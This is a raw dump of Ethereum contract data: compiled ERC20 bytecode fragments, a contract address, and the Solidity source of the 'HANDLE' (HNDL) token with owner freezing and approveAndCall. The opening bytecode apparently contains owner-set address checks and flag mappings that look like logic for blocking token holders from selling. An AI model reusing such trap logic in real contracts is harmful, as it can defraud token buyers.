96024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612926576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806148a46022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015612ae05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15612e635781600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612bac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612c32576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b612c3d86868661487b565b612ca8846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612df957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ee565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612f0c5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80612f645750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561333b57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612ff157508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15612ffe5780600a819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613084576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561310a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b61311586868661487b565b613180846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613213846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156132d157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ed565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156136d157600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561341a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156134a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b6134ab86868661487b565b613516846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135a9846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561366757600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ec565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613b6557600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806137d35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b613828576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806148c66026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156138ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613934576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b61393f86868661487b565b6139aa846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a3d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613afb57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143eb565b600a54811015613fb357600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613c76576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613cfc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b613d8d86868661487b565b613df8846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613e8b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613f4957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ea565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061405c5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6140b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806148c66026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415614137576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156141bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b6141c886868661487b565b614233846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506142c6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561438457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b60008383111582906144a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561446857808201518184015260208101905061444d565b50505050905090810190601f1680156144955780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561453c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156145c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b6145cd83838361487b565b614638816040518060600160405280602681526020016148c6602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506146cb816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561478957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015614871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b03084b86c759ce815d8290de284099f8e6e98d44223c21ceb362139b2ed72c964736f6c63430006060033
{"success": true, "error": null, "results": {}}
7,463
0x2b83e660a8538eaa166f04be9ed1940e9d1e52e1
pragma solidity ^0.4.16; // HANDLE tokens Smart contract based on the full ERC20 Token standard // https://github.com/ethereum/EIPs/issues/20 // Verified Status: ERC20 Verified Token // Handle tokens Symbol: HNDL contract HANDLEToken { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); uint256 public totalSupply; This automatically creates a getter function for the totalSupply. is replaced with: This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * HANDLE tokens Math operations with safety checks to avoid unnecessary conflicts */ library ABCMaths { // Saftey Checks for Multiplication Tasks function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } // Saftey Checks for Divison Tasks function div(uint256 a, uint256 b) internal constant returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } // Saftey Checks for Subtraction Tasks function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } // Saftey Checks for Addition Tasks function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract Ownable { address public owner; address public newOwner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } // validates an address - currently only checks that it isn&#39;t null modifier validAddress(address _address) { require(_address != 0x0); _; } function transferOwnership(address _newOwner) onlyOwner { if (_newOwner != address(0)) { owner = _newOwner; } } function acceptOwnership() { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract HNDLStandardToken is HANDLEToken, Ownable { using ABCMaths for uint256; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (balances[msg.sender] >= _value) // Check if the sender has enough && (_value > 0) // Don&#39;t allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack //most of these things are not necesary balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (allowed[_from][msg.sender] >= _value) // Check allowance && (balances[_from] >= _value) // Check if the sender has enough && (_value > 0) // Don&#39;t allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack //most of these things are not necesary ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { /* To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; // Notify anyone listening that this approval done Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract HANDLE is HNDLStandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ uint256 constant public decimals = 8; uint256 public totalSupply = 5000 * (10**7) * 10**8 ; // 50 billion tokens, 8 decimal places, string constant public name = "Handle"; string constant public symbol = "HNDL"; function HANDLE(){ balances[msg.sender] = totalSupply; // Give the creator all initial tokens } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn&#39;t have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc578063313ce5671461027557806370a082311461029e57806379ba5097146102eb5780638da5cb5b1461030057806395d89b4114610355578063a9059cbb146103e3578063b414d4b61461043d578063cae9ca511461048e578063d4ee1d901461052b578063dd62ed3e14610580578063e724529c146105ec578063f2fde38b14610630575b600080fd5b34156100f657600080fd5b6100fe610669565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106a2565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610829565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061082f565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610cfe565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102d5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d03565b6040518082815260200191505060405180910390f35b34156102f657600080fd5b6102fe610d4c565b005b341561030b57600080fd5b610313610eab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561036057600080fd5b610368610ed1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a857808201518184015260208101905061038d565b50505050905090810190601f1680156103d55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ee57600080fd5b610423600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f0a565b604051808215151515815260200191505060405180910390f35b341561044857600080fd5b610474600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611241565b604051808215151515815260200191505060405180910390f35b341561049957600080fd5b610511600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611261565b604051808215151515815260200191505060405180910390f35b341561053657600080fd5b61053e611502565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058b57600080fd5b6105d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611528565b6040518082815260200191505060405180910390f35b34156105f757600080fd5b61062e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506115af565b005b341561063b57600080fd5b610667600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116d5565b005b6040805190810160405280600681526020017f48616e646c65000000000000000000000000000000000000000000000000000081525081565b60008082148061072e57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561073957600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561088c5760009050610cf7565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610957575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109635750600082115b801561099c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610a385750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a3583600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ac90919063ffffffff16565b10155b8015610a4957506044600036905010155b1515610a5457600080fd5b610aa682600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d690919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b3b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ac90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c0d82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d690919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da857600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f484e444c0000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f67576000905061123b565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610fb65750600082115b8015610fef5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561108b5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108883600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ac90919063ffffffff16565b10155b801561109c57506044600036905010155b15156110a757600080fd5b6110f982600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118e82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ac90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160